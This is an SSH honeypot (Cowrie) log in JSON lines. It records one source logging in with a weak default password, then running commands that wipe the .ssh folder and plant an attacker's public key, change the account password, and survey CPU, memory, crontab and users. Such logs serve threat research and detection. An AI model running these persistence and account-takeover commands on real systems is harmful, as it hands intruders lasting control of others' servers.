{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:02.295846Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:02.525035Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2017","message":"login attempt [admin/admin2017] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:03.475522Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:04.013977Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:04.017288Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:04.020355Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:04.252372Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:04.757049Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:04.760964Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:04.996994Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:05.006571Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":52568,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c7a94e69ba2","protocol":"ssh","message":"New connection: 103.13.206.100:52568 (10.17.0.5:22) [session: 8c7a94e69ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:05.225901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:05.231331Z","src_ip":"103.13.206.100","session":"8c7a94e69ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:05.464434Z","src_ip":"103.13.206.100","session":"8c7a94e69ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:06.424475Z","src_ip":"103.13.206.100","session":"8c7a94e69ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:07.659997Z","src_ip":"103.13.206.100","session":"8c7a94e69ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":53186,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d6cb29922d","protocol":"ssh","message":"New connection: 103.13.206.100:53186 (10.17.0.5:22) [session: 03d6cb29922d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:07.908596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:07.913490Z","src_ip":"103.13.206.100","session":"03d6cb29922d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:08.157882Z","src_ip":"103.13.206.100","session":"03d6cb29922d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:09.284056Z","src_ip":"103.13.206.100","session":"03d6cb29922d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:10.530583Z","src_ip":"103.13.206.100","session":"03d6cb29922d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:10.795750Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:10.798779Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:11.032032Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:11.528118Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2017\\nUBjhnREh4b8p\\nUBjhnREh4b8p\"|passwd|bash","message":"CMD: echo -e \"admin2017\\nUBjhnREh4b8p\\nUBjhnREh4b8p\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:11.531472Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:11.535450Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:11.538752Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/10b25358ed1d089e4abf51c2e6a4f2fae8cf63031adf8bd78bf6d654bbcb6be6","size":32,"shasum":"10b25358ed1d089e4abf51c2e6a4f2fae8cf63031adf8bd78bf6d654bbcb6be6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/10b25358ed1d089e4abf51c2e6a4f2fae8cf63031adf8bd78bf6d654bbcb6be6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:11.772486Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:12.269525Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2017\\nUBjhnREh4b8p\\nUBjhnREh4b8p\\n\"|passwd","message":"CMD: echo \"admin2017\\nUBjhnREh4b8p\\nUBjhnREh4b8p\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:12.271815Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f868455d309beeda7d42ce24da9c48e28ed5f3412a969dad58a11b85f4dd93a9","size":25,"shasum":"f868455d309beeda7d42ce24da9c48e28ed5f3412a969dad58a11b85f4dd93a9","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f868455d309beeda7d42ce24da9c48e28ed5f3412a969dad58a11b85f4dd93a9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:12.502527Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:13.038793Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:13.041678Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:13.274760Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:13.785235Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:13.789023Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:14.027584Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:14.513245Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:14.515663Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:14.517795Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:14.750062Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:15.257871Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:15.261640Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:15.495521Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:15.992981Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:15.996492Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:16.231168Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:16.726882Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:16.730492Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:16.963823Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:17.474557Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:17.477190Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
